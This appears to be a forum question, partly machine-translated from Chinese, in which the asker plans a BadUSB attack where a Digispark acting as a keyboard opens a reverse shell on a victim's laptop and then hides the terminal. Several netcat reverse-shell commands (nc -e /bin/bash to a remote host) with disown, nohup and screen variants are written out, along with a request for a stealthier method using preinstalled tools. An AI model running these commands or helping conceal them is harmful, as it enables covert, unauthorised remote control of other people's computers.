隐藏没有屏幕的反向外壳终端

场景：攻击者将充当键盘的USB插入受害者的笔记本电脑。有效负载打开终端，执行反向外壳并隐藏终端。

问题：我在本地进行的测试（ubuntu 19.04，digispark为usb）如下：

一

terminal A nc -e /bin/bash 10.10.10.10 8888

terminal B nc -vlp 8888

一切正常，我在终端B上显示了带有提示符的shell，但没有隐藏终端A。那么在这种情况下它是没有用的。

二

terminal A nc -e /bin/bash 10.10.10.10 8888&; disown; exit

terminal B nc -vlp 8888

终端B只是挂起而终端A是隐藏的。无用。

三

terminal A nohup nc -e /bin/bash 10.10.10.10 8888&; exit

terminal B nc -vlp 8888

终端B只是挂起而终端A是隐藏的

四

terminal A: I open screen then executenc -e /bin/bash 10.10.10.10 8888 , CTRL^A , then d and finally exit.

terminal B nc -vlp 8888

using screen everything works (terminal B receives a working shell and terminal A isn't visible) but I don't want to use screen because it is not installed by default.

QUESTION: is there a way (using preinstalled tools) to hidden the terminal without screen but with the same effect?